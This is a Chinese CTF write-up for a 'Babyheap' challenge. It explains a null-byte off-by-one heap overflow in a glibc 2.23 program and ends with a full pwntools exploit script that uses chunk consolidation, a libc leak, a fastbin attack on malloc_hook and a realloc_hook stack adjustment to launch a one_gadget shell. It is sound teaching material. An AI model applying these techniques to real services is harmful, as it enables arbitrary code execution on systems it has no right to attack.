Babyheap(null off by one)
本题用到的知识
malloc_hook、realloc_hook、fastbin attack、unsorted bin合并
首先,检查一下程序的保护机制,保护全开
然后用IDA分析,发现在创建并读入数据时,有一个null off by one漏洞
我们所能利用的也就是这个漏洞
第一步仍然是想办法泄露一些关键地址
由于可以溢出一字节的0数据到下一个chunk,以前,我们阅读glibc内存管理,知道了chunk空间的共用情况,也就是下一个的chunk的prev_size域给当前chunk当做数据域使用,这种情况只出现在malloc的大小为8的奇数倍(32为4的奇数倍)的情况。考虑到unsorted bin的表头会有libc中的main_arena+88的地址,因此我们首先肯定得创建一些unsorted bin。
现在,假如我们创建了几个堆
- #chunk0
- create(0x100,'a'*0x100)
- #chunk1
- create(0x100,'b'*0x100)
- #chunk2
- create(0x68,'c'*0x68)
- #chunk3
- create(0x68,'d'*0x68)
- #chunk4
- create(0x100,'e'*0x100)
堆布局如下
域 | 大小 | 数据 | 所属chunk |
Prev_size | 0x8 | 0 | Chunk0 |
Size | 0x8 | 0x111 | |
Data | 0x100 |
| |
Prev_size | 0x8 | 0 | Chunk1 |
Size | 0x8 | 0x111 | |
Data | 0x100 |
| |
Prev_size | 0x8 | 0 | Chunk2 |
Size | 0x8 | 0x71 | |
Data | 0x60 |
| |
0x8 |
| Chunk3 | |
Size | 0x8 | 0x71 | |
Data | 0x60 |
| |
0x8 |
| Chunk4 | |
Size | 0x8 | 0x111 | |
Data | 0x100 |
|
其中,chunk0、chunk1、chunk4大小在unsorted bin范围,当他们free后就进入了unsorted bin,并且相邻的chunk会进行unlink合并。既然能够溢出一字节0数据,那么假如我们从chunk3中溢出,覆盖chunk4的size域的低一字节为0,那么就标志了chunk4的前一chunk处于空闲状态,那么,当我们free chunk4的时候,chunk4就会与它的前一chunk合并,而它的前一chunk是如何取到的呢,看看glibc源码
- /* Ptr to previous physical malloc_chunk. Only valid if !prev_inuse (P). */
- #define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))
也就是依赖于prev_size,由于chunk3的大小为0x68,是8的奇数倍,因此它会把chunk4的prev_size域作为数据域,因此,prev_size我们可以自己指定大小
假如,我们在chunk3中,把chunk4的prev_size设置为(0x110+0x110+0x70+0x70 = 0x300),然后覆盖chunk4的size低1字节为0,那么,当我们delete(4)时,就会合并chunk4和chunk4-0x300处的chunk,也就是会合并chunk0、chunk1、chunk2、chunk3、chunk4
由于没有编辑功能,我们只能delete(3)后再重新create分配到那个位置,同时构造payload溢出到chunk4
由于合并时,unlink会报错,因此,我们在事先,应该delete(0),让chunk0加入unsorted bin中。delete(2)用于将chunk2放入fastbin,供后续fastbin attack使用,注意,必需在合并chunk0、chunk1、chunk2、chunk3、chunk4之前让chunk2加入fastbin,合并后再delete(2)不能让chunk2加入到fastbin中
- #chunk2用于放入fastbin
- delete(2)
- #chunk3用于溢出
- delete(3)
- #chunk0用于加入unsorted bin,并且让main_arena+88指针存入fd和bk
- delete(0)
- #把chunk3申请回来,并off by one null到chunk4,覆盖chunk4的低1字节为0
- payload = 'e'*0x60
- #prev_size
- payload += p64(0x300)
- create(0x68,payload)
现在堆的布局是这样子的
域 | 大小 | 数据 | 所属chunk |
Prev_size | 0x8 | 0 | Chunk0 |
Size | 0x8 | 0x111 | |
fd | 0x8 | Main_arena+88 | |
bk | 0x8 | Main_arena+88 | |
data | (0x100-0x8*2) |
| |
Prev_size | 0x8 | 0x110 | Chunk1 |
Size | 0x8 | 0x110 | |
Data | 0x100 |
| |
Prev_size | 0x8 | 0 | Chunk2 |
Size | 0x8 | 0x71 | |
Data | 0x60 |
| |
Prev_size | 0x8 | 0x70 | Chunk3 |
Size | 0x8 | 0x70 | |
Data | 0x60 | aaaaa…. | |
Prev_size | 0x8 | 0x300 | Chunk4 |
Size | 0x8 | 0x100 | |
Data | 0x100 |
|
接下来,我们delete(4),chunk0~chunk4发生合并,合并后chunk0作为unsorted bin表头fd、bk值仍然指向main_arena+88
然而,当我们实际操作时,delete(4)时出现了报错
我们看看glibc源码
还记得chunk4的size被我们覆盖成了0x100吗,原本是0x111的,也就是说,现在取到的nextsize是chunk4数据域里偏移0x90+8处的数据,而不是下一个chunk的size,
为了避免后续的其他类似的错误,我们把chunk4留下的那(0x110-0x100=0x10的空间伪装成一个chunk5)
所以,在一开始创建chunk4的应该应该这样写
- #chunk4的创建,后0x10空间用于伪装出一个假chunk5
- create(0x100,'e'*(0x100-16) + p64(0x100) + p64(0x11))
现在,我们再查看堆的布局情况(pwndbg attach 到pid上,然后输入bin命令)
现在发现,fastbin里的那个就是我们的chunk2,待会fastbin attack用到
而unsorted bin里就一个节点(chunk0),中间那个是main_arena+88,它们组成了双向链表
现在,假如我们create(0x100),那么glibc就会从unsorted bin中的表头(chunk0)处开始,切割出0x110的空间给我们,然后表头变成了chunk0+0x110
并且chunk0+0x110处开始作为一个chunk,它的fd和bk会被设置为main_arena+88,
但是,你发现了什么,chunk0 + 0x110不就是chunk1吗,还记得chunk1并没有被我们free,它只是参与了合并,因此它的指针存在于数组中,并没有被清0
那么,当我们show()的时候,就会把chunk1的fd值打印出来,从而泄露了main_arena+88的地址
由于main_arena+88和malloc_hook物理位置上在同一页,并且靠的很近,因此,它们的地址只有后三位不一样,那么我们就能计算出malloc_hook的地址,然后就能计算出libc基地址,从而获取gadget的地址
- #申请掉chunk0后,main_area+88指针放到了chunk1的fd和bk处
- create(0x100,'a'*0x100)
- show()
- sh.recvuntil('1 : ')
- main_area_88 = u64(sh.recvuntil(' ').split(' ')[0].ljust(8,'\x00'))
- #低字节覆盖获得malloc_hook的地址
- malloc_hook_addr = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_s_hook & 0xFFF)
- libc_base = malloc_hook_addr - malloc_s_hook
- realloc_addr = libc_base + realloc_s
- gadget_addr = libc_base + gadget
- print 'malloc_hook_addr=',hex(malloc_hook_addr)
- print 'realloc_addr=',hex(realloc_addr)
- print 'gadget_addr=',hex(gadget_addr)
现在一些需要的信息我们都得到了,我们接下来是想办法把gadget的地址写入到malloc_hook里,这样当程序再次malloc时,便会触发gadget,从而get shell
现在我们用fastbin attack,fastbin attack能让我们把堆申请到malloc_hook-0x23处,知道我们的chunk2为什么申请时设置为0x68的大小吗,因为实际创建的大小是0x70,而malloc_hook-0x23处偏移0x8处的数据为0x7F,与0x70大小相当
fastbin只检查chunk的size域是否符合要求,因此,我们的chunk2的size要与它大小相当,这样,我们想办法把chunk2的fd指向malloc_hook-0x23这个假chunk处,这样,chunk2和malloc_hook-0x23处构成了单向链表,当我们第二次申请0x68大小的堆时,就会申请到malloc_hook-0x23处,更多详细知识见我的博客https://blog.csdn.net/seaaseesa/article/details/103057937
那么如何才能修改到chunk2的fd域呢?
我们可以利用堆重叠
假如我们create(0x118,payload),由于之前已经create(0x100)过一次,那么这次chunk分配的范围就是chunk0 + 0x110 ~ chunk0+0x110+0x128也就是chunk1~chunk2+0x18处,正好可以把chunk2的fd给覆盖了,如果觉得麻烦,直接申请大点,不用这么精确
- #现在用fastbin attack
- #堆重叠,修改chunk2的fd指针
- payload = 'g'*0x100
- payload += p64(0) + p64(0x71)
- payload += p64(malloc_hook_addr-0x23)
- create(0x118,payload)
现在,我们再看看堆的布局
malloc_hook-0x23处成功链入fastbin,那么当我们第二次申请0x68大小空间时就能申请到这里
- #第一次申请
- create(0x68,'h'*0x68)
- #修改malloc_hook
- payload = '\x00' * 0x13 + p64(gadget_addr)
- payload += '\n'
- #第二次申请
- create(0x68,payload)
这样,看似已经可以了,我们只需再触发一次malloc,即可getshell
- #触发malloc_hook getshell
- sh.sendlineafter('Your choice :\n','1')
- sh.sendlineafter('Size:','1')'''
然而,gadget变得不可用,执行不成功
以下两段来自看雪论坛https://bbs.pediy.com/thread-246786.htm
有些情况下one_gadget因为栈环境原因全部都不可用,这时可以通过realloc_hook来调整堆栈环境使one_gadget可用。realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。
如何利用realloc_hook来调整栈环境呢?
观察realloc函数的流程push寄存器,最后全部pop出来跳转至realloc_hook的值。
因此可以将realloc_hook设置为选择好的one_gadget,将malloc_hook设置为realloc函数开头某一push寄存器处。push和pop的次数是一致的,若push次数减少则会压低堆栈,改变栈环境。这时one_gadget就会可以使用。具体要压低栈多少要根据环境决定,这里我们可以进行小于48字节内或72字节的堆栈调整。
经过测试,我们只需在realloc函数地址向下偏移2就可以使栈环境正常
于是,我们修改后的代码
- #修改realloc_hook和malloc_hook
- payload = '\x00' * 0xB + p64(gadget_addr) + '\x00'*(0x13-0xB-0x8)
- #用于堆栈调整
- payload += p64(realloc_addr + 2)
- payload += '\n'
- #第二次申请
- create(0x68,payload)
最终,我们写出了如下的exp脚本
- #coding:utf8
- from pwn import *
- from one_gadget import *
- context.log_level = 'debug'
- sh = process('./timu')
- #sh = remote('111.198.29.45',57745)
- libc_path = '/lib/x86_64-linux-gnu/libc-2.23.so'
- libc = ELF(libc_path)
- #malloc_hook的静态地址
- malloc_s_hook = libc.symbols['__malloc_hook']
- #realloc函数的静态地址
- realloc_s = libc.sym['realloc']
- #gadger
- g = generate_one_gadget(libc_path)
- gadget = g.next()
- #sh = remote('111.198.29.45',41803)
- def create(size,content):
- sh.sendlineafter('Your choice :\n','1')
- sh.sendlineafter('Size:',str(size))
- sh.sendafter('Data:',content)
- def delete(index):
- sh.sendlineafter('Your choice :\n','2')
- sh.sendlineafter('Index:',str(index))
- def show():
- sh.sendlineafter('Your choice :\n','3')
- #chunk0
- create(0x100,'a'*0x100)
- #chunk1
- create(0x100,'b'*0x100)
- #chunk2
- create(0x68,'c'*0x68)
- #chunk3
- create(0x68,'d'*0x68)
- #chunk4
- #特别!!chunk4后面0x10空间用于伪装假chunk5
- create(0x100,'e'*(0x100-16) + p64(0x100) + p64(0x11))
- #chunk2用于放入fastbin
- delete(2)
- #chunk3用于溢出
- delete(3)
- #chunk0用于加入unsorted bin,并且让main_arena+88指针存入fd和bk
- delete(0)
- #把chunk3申请回来,并off by one null到chunk4,覆盖chunk4的低1字节为0
- payload = 'e'*0x60
- #prev_size
- payload += p64(0x300)
- create(0x68,payload)
- #0、1、2、3、4堆块合并
- delete(4)
- #申请掉chunk0后,main_area+88指针放到了chunk1的fd和bk处
- create(0x100,'a'*0x100)
- show()
- sh.recvuntil('1 : ')
- main_area_88 = u64(sh.recvuntil(' ').split(' ')[0].ljust(8,'\x00'))
- #低字节替换获得malloc_hook的地址
- malloc_hook_addr = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_s_hook & 0xFFF)
- libc_base = malloc_hook_addr - malloc_s_hook
- realloc_addr = libc_base + realloc_s
- gadget_addr = libc_base + gadget
- print 'malloc_hook_addr=',hex(malloc_hook_addr)
- print 'realloc_addr=',hex(realloc_addr)
- print 'gadget_addr=',hex(gadget_addr)
- #现在用fastbin attack
- #堆重叠,修改chunk2的fd指针
- payload = 'g'*0x100
- payload += p64(0) + p64(0x71)
- payload += p64(malloc_hook_addr-0x23)
- create(0x118,payload)
- #第一次申请
- create(0x68,'h'*0x68)
- #修改realloc_hook和malloc_hook
- payload = '\x00' * 0xB + p64(gadget_addr) + '\x00'*(0x13-0xB-0x8)
- #用于堆栈调整
- payload += p64(realloc_addr + 2)
- payload += '\n'
- #第二次申请
- create(0x68,payload)
- #触发malloc_hook getshell
- sh.sendlineafter('Your choice :\n','1')
- sh.sendlineafter('Size:','1')
- sh.interactive()